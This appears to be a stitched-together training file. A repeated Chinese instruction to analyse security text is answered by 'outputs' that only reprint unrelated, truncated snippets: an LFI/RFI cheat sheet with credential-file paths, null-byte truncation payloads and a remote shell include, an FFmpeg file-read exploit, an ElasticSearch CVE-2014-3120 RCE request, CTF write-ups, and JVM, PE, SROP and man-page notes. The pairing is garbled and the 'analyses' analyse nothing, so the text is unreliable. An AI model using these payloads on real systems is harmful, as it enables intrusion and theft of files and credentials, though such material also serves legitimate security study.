比如 `<? include($_GET['path']) ?>`
许多工具都支持本地文件包含漏洞的检测，Kadimus是其中一款。具体使用方法参见[Kadimus](https://github.com/P0cL4bs/Kadimus/)
以下是一些本地包含漏洞中常利用的服务器上的重要文件
```
.htaccess
/var/lib/locate.db
/var/lib/mlocate/mlocate.db
/var/log/apache/error.log
/usr/local/apache2/conf/httpd.conf
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (文件标识符)
/proc/mounts
/proc/config.gz
/tmp/sess_sessionid
```
本地文件包含漏洞也常需要进行截断，以下是一些常用的截断方法
%00截断：
`/etc/passwd%00`
(需要 magic_quotes_gpc=off，PHP小于5.3.4有效)
%00截断目录遍历：
`/var/www/%00`
(需要 magic_quotes_gpc=off，unix文件系统，比如FreeBSD，OpenBSD，NetBSD，Solaris)
路径长度截断：
`/etc/passwd/././././././.[…]/./././././.`
(php版本小于5.2.8(?)可以成功，linux需要文件名长于4096，windows需要长于256)
点号截断：
`/boot.ini/………[…]…………`
(php版本小于5.2.8(?)可以成功，只适用windows，点号需要长于256)
%00 截断更多地用于文件包含，比如 `<?php include($_GET['path']).".jpg" >` 要求一定是jpg 后缀的，这样我们可以用 `1.php?path=php://input%00` 这样就把后面的 .jpg 吃掉了。同理 path=../../../../etc/passwd%00  读取 /etc/passwd，在存在文件名后缀限定的情况下，`path=../../../../etc/passwd%00.jpg`、`path=../../../../etc/passwd\0.jpg`、`path=..\\..\\..\\..\\etc/passwd\0.jpg`
当然也可以把 php 代码文件后缀改为 jpg，直接包含执行。
e.g [Cacti Superlinks Plugin 1.4-2 - RCE (LFI) via SQL Injection Exploit](https://www.exploit-db.com/exploits/35578/)
修复方案：
php中可以使用 open_basedir  将用户文件访问限制在指定的区域。如将文件访问限制在 /dir/user/ 中。
在php.ini中设置 `open_basedir = /dir/user/`
但该方法并不是万能的，在某些情况下仍可能会被绕过， 对传入的参数进行校检和过滤始终是有必要的。
常见的导致文件包含的函数如下：
PHP： include(), include_once(), require(), require_once(), fopen(), readfile() ...
当使用前4个函数包含一个新的文件时，该文件将作为 php 代码执行，php 内核不会在意该被包含的文件是什么类型。
包含 /proc/self/environ 可以看到系统的一些环境变量，如web 路径等。
## 二、远程文件包含
`<?php include($_GET['file']); ?>`
* 远程代码执行：`?file=[http|https|ftp]://example.com/shell.txt`
  (需要allow_url_fopen=On并且 allow_url_include=On)
* file 协议读取本地文件：`file=f...


Instruction: 请分析这段安全相关的文本内容


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Java 虚拟机

* [Java 虚拟机](#java-虚拟机)
    * [一、运行时数据区域](#一运行时数据区域)
        * [程序计数器](#程序计数器)
        * [Java 虚拟机栈](#java-虚拟机栈)
        * [本地方法栈](#本地方法栈)
        * [堆](#堆)
        * [方法区](#方法区)
        * [运行时常量池](#运行时常量池)
        * [直接内存](#直接内存)
    * [二、垃圾收集](#二垃圾收集)
        * [判断一个对象是否可被回收](#判断一个对象是否可被回收)
        * [引用类型](#引用类型)
        * [垃圾收集算法](#垃圾收集算法)
        * [垃圾收集器](#垃圾收集器)
    * [三、内存分配与回收策略](#三内存分配与回收策略)
        * [Minor GC 和 Full GC](#minor-gc-和-full-gc)
        * [内存分配策略](#内存分配策略)
        * [Full GC 的触发条件](#full-gc-的触发条件)
    * [四、类加载机制](#四类加载机制)
        * [类的生命周期](#类的生命周期)
        * [类加载过程](#类加载过程)
        * [类初始化时机](#类初始化时机)
        * [类与类加载器](#类与类加载器)
        * [类加载器分类](#类加载器分类)
        * [双亲委派模型](#双亲委派模型)
        * [自定义类加载器实现](#自定义类加载器实现)
    * [参考资料](#参考资料)

本文大部分内容参考   **周志明《深入理解 Java 虚拟机》**  ，想要深入学习的话请看原书。
## 一、运行时数据区域

### 程序计数器
记录正在执行的虚拟机字节码指令的地址（如果正在执行的是本地方法则为空）。
### Java 虚拟机栈
每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息。从方法调用直至执行完成的过程，对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。

可以通过 -Xss 这个虚拟机参数来指定每个线程的 Java 虚拟机栈内存大小，在 JDK 1.4 中默认为 256K，而在 JDK 1.5+ 默认为 1M：
```java
java -Xss2M HackTheJava
```
该区域可能抛出以下异常：
- 当线程请求的栈深度超过最大值，会抛出 StackOverflowError 异常；
- 栈进行动态扩展时如果无法申请到足够内存，会抛出 OutOfMemoryError 异常。
### 本地方法栈
本地方法栈与 Java 虚拟机栈类似，它们之间的区别只不过是本地方法栈为本地方法服务。
本地方法一般是用其它语言（C、C++ 或汇编语言等）编写的，并且被编译为基于本机硬件和操作系统的程序，对待这些方法需要特别处理。

### 堆
所有对象都在这里分配内存，是垃圾收集的主要区域（"GC 堆"）。
现代的垃圾收集器基本都是采用分代收集算法，其主要的思想是针对不同类型的对象采取不同的垃圾回收算法。可以将堆分成两块：
- 新生代（Young Generation）
- 老年代（Old Generation）
堆不需要连续内存，并且可以...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# FFmpeg HLS vulnerability
FFmpeg is an open source software used for processing audio and video formats. You can use a malicious HLS playlist inside an AVI video to read arbitrary files.
## Exploits
```
1. `./gen_xbin_avi.py file://<filename> file_read.avi`
2. Upload `file_read.avi` to some website that processes videofiles
3. (on server side, done by the videoservice) `ffmpeg -i file_read.avi output.mp4`
4. Click "Play" in the videoservice.
5. If you are lucky, you'll the content of `<filename>` from the server.
```
## How it works (Explanations from neex - Hackerone links)
the script creates an AVI that contains an HLS playlist inside GAB2. The playlist generated by this script looks like this:
```
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0
GOD.txt
#EXTINF:1.0
/etc/passwd
#EXT-X-ENDLIST
```
To process a playlist ffmpeg concatenates all segments and processes it as single file.
To determine the type of this file FFmpeg uses the first segment of the playlist.
FFmpeg processes .txt files in a special way. It tries to show a screen capture of a tty printing this file.
So, the playlist above will be processed as follows:
FFmpeg sees #EXTM3U signature inside GAB2 chunk and determines file type as HLS playlist.
The file GOD.txt doesn't even exist, but it's name is enough for FFmpeg to detect file type as .txt.
FFmpeg concatenates the contents of all segments of the playlist. As only one of two segments actually exists, the result of concatenation is just the contents of the file we want to retrieve.
Because the type of this concatenation is .txt, FFmpeg draws a tty that prints the file.
## Thanks to
* [Hackerone - Local File Disclosure via ffmpeg @sxcurity](https://hackerone.com/reports/242831)
* [Hackerone - Another local file disclosure via ffmpeg](https://hackerone.com/reports/243470)
* [PHDays - Attacks on video converters:a year later, Emil Lerner, Pavel Cheremushkin](https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slid...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# come-and-git-it-2
* Category: DevSecOps
* 350 Points
* Solved by the JCTF Team
## Description
>
>
> 1. Add the attached ssh key to your ssh-agent. [Here's some documentation](https://docs.github.com/en/free-pro-team@latest/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent), but TL;DR:
>
>     ```
>     eval $(ssh-agent -s)
>     ssh-add ~/path_to_key/id_rsa.player
>     ```
>
> 2. `git clone ssh://gamemaster@come-and-git-it.appsecil.ctf.today:2222/~/ctf-repo`
>
> 3. `cd ctf-repo`
>
> 4. `git checkout aghastness-subhead-cyrtometer`
>
> 5. ???
>
> 6. PROFIT!!!
Attached was a private RSA key.
## Solution
This is the follow-up for [come-and-git-it-1](come-and-git-it-1.md).
After setting up the workspace (like before, just a different branch), we get:
```console
root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# ls -al
total 45
drwxrwx--- 1 root vboxsf  4096 Oct 27 00:05 .
drwxrwx--- 1 root vboxsf  4096 Oct 27 00:04 ..
-rwxrwx--- 1 root vboxsf  2763 Oct 27 00:05 ABoyNamedSue.md
drwxrwx--- 1 root vboxsf     0 Oct 27 00:05 .build
drwxrwx--- 1 root vboxsf  4096 Oct 27 00:05 .git
-rwxrwx--- 1 root vboxsf 18658 Oct 27 00:04 LICENSE
-rwxrwx--- 1 root vboxsf   964 Oct 27 00:05 OnTheRoadAgain.md
-rwxrwx--- 1 root vboxsf   422 Oct 27 00:05 README.md
-rwxrwx--- 1 root vboxsf   860 Oct 27 00:05 SouthernNights.md
```
Let's check the README:
```console
root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# cat README.md
# Welcome to make-git-better
_____  _    _  ___   ___________
|  _  || |  | |/ _ \ /  ___| ___ \
| | | || |  | / /_\ \\ `--.| |_/ /
| | | || |/\| |  _  | `--. \  __/
\ \_/ /\  /\  / | | |/\__/ / |
 \___/  \/  \/\_| |_/\____/\_|
Welcome to the awesome build system! Each push, the awesome build system will build.
Very secure. (☞°ヮ°)☞ ☜(°ヮ°☜)
Very very secure. (＾ω＾)人(＾ω＾)
```
So let's push:
```console
root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# touch dummy.t...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

package org.vulhub.shirodemo;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class ShirodemoApplication {

    public static void main(String[] args) {
        SpringApplication.run(ShirodemoApplication.class, args);
    }

}


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# ElasticSearch 命令执行漏洞（CVE-2014-3120）测试环境

jre版本：openjdk:8-jre

elasticsearch版本：v1.1.1

## 原理

相关文档：http://bouk.co/blog/elasticsearch-rce/ 、 https://www.t00ls.net/viewthread.php?tid=29408

老版本ElasticSearch支持传入动态脚本（MVEL）来执行一些复杂的操作，而MVEL可执行Java代码，而且没有沙盒，所以我们可以直接执行任意代码。

MVEL执行命令的代码如下：

```java
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
```

## 漏洞测试

编译及运行环境：

```
docker compose build
docker compose up -d
```

将Java代码放入json中：

```json
{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
  }
```

首先，该漏洞需要es中至少存在一条数据，所以我们需要先创建一条数据：

```
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "phithon"
}
```

然后，执行任意代码：

```
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}
```

结果如图：

![](1.png)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 翻译
目前，多语言的支持主要借鉴了 fastapi 的处理方式。需要注意的是，在翻译的过程中我们只需要确保不同语言在文件级别上保持一致。对于文件中具体的内容，不必过于拘谨，只需意思表达一致即可。
## 完善已有语言
这里我们以英语为例进行介绍。
首先，我们需要确定英语对应的 2 个字母的代码，通过查询https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes，我们可以知道对应的代码为 `en`。
在确定了代码后，我们就可以知道该语言的文档所在的目录，即 `docs/en`。
假设我们想要翻译的文档为 `docs/zh/docs/contribute/translation.md`。那么，我们可以把该文件拷贝到 `docs/en/docs/contribute/translation.md`。同时，如果该文件依赖了图片，我们也需要拷贝对应的图片文件夹到相应的目录下。
然后，我们可以打开中文对应的 mkdocs.yml，即 `docs/zh/docs/mkdocs.yml`，找到我们想要翻译的文件所在的位置，比如
```yaml hl_lines="8"
nav:
- Start:
  - index.md
  - discussion.md
  - contribute/before-contributing.md
  - contribute/basic-contribute-approach.md
  - contribute/documentation-requirement.md
  - contribute/translation.md
```
那我们应该在英语的配置文件中相应的层次结构处添加对应的文件。
```yaml hl_lines="8"
nav:
- Start:
  - index.md
  - discussion.md
  - contribute/before-contributing.md
  - contribute/basic-contribute-approach.md
  - contribute/documentation-requirement.md
  - contribute/translation.md
```
然后，我们就可以对其进行翻译。
最后，我们可以使用 `python3 scripts/doc.py live en` 来预览修改后的内容。
## 新增全新语言
如果你打算添加一种尚未进行任何翻译的语言，比如说日语（ `jp`），你可以使用
```python
python3 scripts/doc.py new-lang jp
```
来进行初始化。此后，你就可以按照上一小节的方式来进行贡献了。


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

'\" t
.TH "NSS\-MYMACHINES" "8" "" "systemd 231" "nss-mymachines"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el       .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
nss-mymachines, libnss_mymachines.so.2 \- 提供了解析本地容器名称的功能
.SH "SYNOPSIS"
.PP
libnss_mymachines\&.so\&.2
.SH "描述"
.PP
\fBnss\-mymachines\fR
是一个
\fBglibc\fR(GNU C Library) NSS(Name Service Switch) 插件， 提供了本地容器名称的解析功能。
\fBsystemd-machined.service\fR(8)
服务 按照本地容器所属 scope 的顺序， 在这些本地容器的名称与其IP地址之间建立对应关系。 该功能仅可用于使用了网络名字空间(network namespace)的容器。
.PP
该模块还可以为使用了用户名字空间(user namespace)的容器提供解析 UID/GID 与用户名/组名之间对应关系的功能。
.PP
要激活NSS模块，可将
"mymachines"
添加到
/etc/nsswitch\&.conf
文件中以
"hosts:",
"passwd:",
"group:"
开头的行里面。
.PP
建议将
"mymachines"
放置在
/etc/nsswitch\&.conf
文件中 紧跟
"files"
或
"compat"
项之后，以确保在解析时，本地映射文件
/etc/hosts,
/etc/passwd,
/etc/group
仍为最优先， 同时又将其他解析方式(DNS之类)作为后备。
.SH "例子"
.PP
下面是一个正确开启了
\fBnss\-mymachines\fR
插件的
/etc/nsswitch\&.conf
文件的例子：
.sp
.if n \{\
.RS 4
.\}
.nf
passwd:         compat \fBmymachines\fR
group:          compat \fBmymachines\fR
shadow:         compat
hosts:          files \fBmymachines\fR resolve myhostname
networks:       files
protocols:      db files
services:       db files
ethers:         db files
rpc: ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

##HQLol (Web, 500p)
	Plenty of hacker movies.
	But table FLAG isn't mapped by HQL and you aren't an DB administrator.
	Anyway, good luck!
###PL
[ENG](#eng-version)
W zadaniu dostajemy stronę napisaną w gradle która pozwala przeglądać listę filmów o hackerach oraz wyszukiwać filmy.
Ta ostatnia opcja jest wyjatkowo ciekawa ponieważ od razu widać, że wyszukiwarka jest podatna na SQL Injection, a dodatkowo wypisuje logi błędu oraz stacktrace.
Zapytania do bazy wykonywane są poprzez Hibernate, a baza to H2.
Użycie Hibernate oraz HQL wyklucza możliwość wykonania `union select`, niemniej cały czas możemy wykonywać podzapytania.
Ponieważ widzimy logi błędów, możemy w warunku `where` wykonywać niepoprawne rzutowania (np. stringa na inta) i w ten sposób odczytywać wartości.
Dodatkowo jak wynika z treści zadania tabela z flagą nie jest zmapowana przez Hibernate, więc jakakolwiek próba wykonania zapytania dla tabeli `flag` skończy się błędem `flag table is not mapped by Hibernate`.
Treść zadania informuje nas także, że nie jesteśmy administratorem, więc nie możemy skorzystać z funkcji `file_read()` udostępnianej przez bazę H2.
Po długiej analizie obu potencjalnych wektorów ataku - bazy H2 oraz Hibernate trafiliśmy wreszcie na interesujące zachowanie lexera/parsera HQL - nie rozpoznaje on poprawnie `non-breaking-space` w efekcie użycie takiego symbolu jest traktowane jak zwykły symbol.
Oznacza to, że `XXnon-breaking-spaceXX` zostanie potraktowane przez parser jako jedno słowo, podczas gdy baza danych potraktuje to jako dwa słowa przedzielone spacją.
Dzięki temu wysłanie ciągu `selectXflagXfromXflag` gdzie przez `X` oznaczamy non-breaking-space nie zostanie przez parser HQL zinterpretowane jako podzapytanie i nie dostaniemy błędu `table flag is not mapped`, a jednocześnie baza H2 poprawnie zinterpretuje ten ciąg jako podzapytanie.
Do pobrania konkretnej wartości wykorzystaliśmy niepoprawne rzutowanie wartości z tabeli `flag` i flagę odczytaliśmy z logu błędu.
Skrypt rozwiązuj...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

### PE 简介
PE 文件的全称是 Portable Executable ，意为可移植的可执行的文件，常见的EXE、DLL、OCX、SYS、COM都是PE 文件，PE 文件是微软Windows操作系统上的程序文件，可能是间接被执行，如DLL）。
一个 32-bits 的 PE 文件布局如下图所示：
```text
+-------------------------------+ \
|     MS-DOS MZ header          |  |
+-------------------------------+  |
| MS-DOS Real-Mode Stub program |  |
+-------------------------------+  |
|     PE Signature              |  | -> PE file header
+-------------------------------+  |
|     IMAGE_FILE_HEADER         |  |
+-------------------------------+  |
|     IMAGE_OPTIONAL_HEADER     |  |
+-------------------------------+ /
|     section header #1         |
+-------------------------------+
|     section header #2
+-------------------------
:
:
+------------------------------+
|        section #1            |
+------------------------------+
|        section #2
+--------------------
:
:
```
接下来将会以一个 32-bit 的 PE 文件作为标本介绍一下 PE 文件。
```c
// 示例代码 test.c
#include <stdio.h>
int main(){
  printf("Hello, PE!\n");
  return 0;
}
```
**通过 `Devcpp` 软件的 `TDM-GCC 4.9.2 32-bit Release` 方式编译文件生成 `test.exe`，作为示例文件。**
### PE 文件常用术语及其含义
- **`映像文件` 因为 PE 文件通常需要加载到内存中才能执行，相当于内存中的映像，所以 PE 文件也叫做映像文件。**
- **`RVA` 相对虚拟地址，映像文件在虚拟内存中相对于加载基址的偏移。**
- **`VA` 虚拟地址，映像文件在虚拟内存中的地址。**
- **`FOA` 文件偏移地址，映像文件在磁盘文件中相对于文件开头的偏移。**
因为不论是在磁盘文件上，或是在虚拟内存中，数据相对于其所在节的相对偏移是固定的，据此可以实现 RVA 与 FOA 之间的转换，即`RVA - 节区RVA = FOA - 节区FOA`。
假设某一个属于 .data 节的数据的 RVA 是 0x3100，.data 节的 节区RVA 为 0x3000，那么该数据相对于 .data 节的相对偏移就是 0x100。而 .data 节在的 节区FOA 为 0x1C00，那么该数据在磁盘文件中的 FOA 就是 0x1D00。完整的计算公式是：`FOA = 节区FOA + (RVA - 节区RVA)`。如果该映像文件的加载基址为0x40000000，那么该数据的 VA 就是 0x40003100。
### PE文件头解释
PE 文件的最开始便是 PE 文件头，它由 `MS-DOS 文件头` 和 `IMAGE_NT_HEADERS` 结构体组成。
### MS-DOS 文件头解释
`MS-DOS 文件头` 包含 `IMAGE_DOS_HEADER` 和 `DOS Stub` 两个部分。
`IMAGE_DOS_HEADER` 结构体的定义如下：
```c
typedef struct _IMAGE_DOS_HEADER
{
     WORD e_magic;              // "MZ"
     WORD e_cblp;
     WORD e_cp;
     WORD e_crlc;
     WORD e_cparhdr;
     WORD e_minalloc;
     WORD e_maxalloc;
     WORD e_ss;
     WORD e_sp...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Split
Category: Miscellaneous
## Description
> Oh noes! I've accidentally dropped the file on the desktop and it shattered into pieces... (150x150) Now how am I going to face the manager to publish the movie's poster? :( Please help, I got no backups!
A zip file was attached.
## Solution
In the zip file, we find 22,500 images named `image_0.jpg` to `image_22499.jpg`. Each image was 9x13. We need to combine the images into one big image in order to see the full picture.
The following script will combine the image by building row by row, then combining them:
```python
import numpy as np
import PIL
from PIL import Image
from pwn import *
WIDTH = HEIGHT = 150
rows = []
with log.progress('Recreating image...') as p:
    for row in range(HEIGHT):
        p.status(f"Creating row #{row}")
        start = row * WIDTH
        end   = start + WIDTH
        images    = [ PIL.Image.open(f'images/image_{i}.jpg') for i in range(start, end) ]
        combined = np.hstack( list(np.asarray( img ) for img in images ) )
        combined = PIL.Image.fromarray( combined)
        rows.append(combined)
    p.status(f"Combining rows")
    combined = np.vstack( list(np.asarray( row ) for row in rows ) )
    combined = PIL.Image.fromarray(combined)
    combined.save( 'output.jpg' )
```
The flag is in the image: `cstechnion{Broken_n3v3r_again}`


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# SROP
## 基本介绍
SROP(Sigreturn Oriented Programming)于2014年被Vrije Universiteit Amsterdam的Erik Bosman提出，其相关研究**`Framing Signals — A Return to Portable Shellcode`**发表在安全顶级会议[Oakland 2014](http://www.ieee-security.org/TC/SP2014)上，被评选为当年的[Best Student Papers](http://www.ieee-security.org/TC/SP2014/awards.html)。其中相关的paper以及slides的链接如下：
[paper](http://www.ieee-security.org/TC/SP2014/papers/FramingSignals-AReturntoPortableShellcode.pdf)
[slides](https://tc.gtisc.gatech.edu/bss/2014/r/srop-slides.pdf)
其中，`sigreturn`是一个系统调用，在类unix系统发生signal的时候会被间接地调用。
## signal机制
 signal机制是类unix系统中进程之间相互传递信息的一种方法。一般，我们也称其为软中断信号，或者软中断。比如说，进程之间可以通过系统调用kill来发送软中断信号。一般来说，信号机制常见的步骤如下图所示：
1. 内核向某个进程发送signal机制，该进程会被暂时挂起，进入内核态。
2. 内核会为该进程保存相应的上下文，**主要是将所有寄存器压入栈中，以及压入signal信息，以及指向sigreturn的系统调用地址**。此时栈的结构如下图所示，我们称ucontext以及siginfo这一段为Signal Frame。**需要注意的是，这一部分是在用户进程的地址空间的。**之后会跳转到注册过的signal handler中处理相应的signal。因此，当signal handler执行完之后，就会执行sigreturn代码。
    对于signal Frame来说，会因为架构的不同而有所区别，这里给出分别给出x86以及x64的sigcontext
    -   x86
    ```c
    struct sigcontext
    {
      unsigned short gs, __gsh;
      unsigned short fs, __fsh;
      unsigned short es, __esh;
      unsigned short ds, __dsh;
      unsigned long edi;
      unsigned long esi;
      unsigned long ebp;
      unsigned long esp;
      unsigned long ebx;
      unsigned long edx;
      unsigned long ecx;
      unsigned long eax;
      unsigned long trapno;
      unsigned long err;
      unsigned long eip;
      unsigned short cs, __csh;
      unsigned long eflags;
      unsigned long esp_at_signal;
      unsigned short ss, __ssh;
      struct _fpstate * fpstate;
      unsigned long oldmask;
      unsigned long cr2;
    };
    ```
    -   x64
    ```c
    struct _fpstate
    {
      /* FPU environment matching the 64-bit FXSAVE layout.  */
      __uint16_t		cwd;
      __uint16_t		swd;
      __uint16_t		ftw;
      __uint16_t		fop;
      __uint64_t		rip;
      __uint64_t		rdp;
      __uint32_t		mxcsr;
      __uint32_t		mxcr_mask;
      struct _fpxreg	_...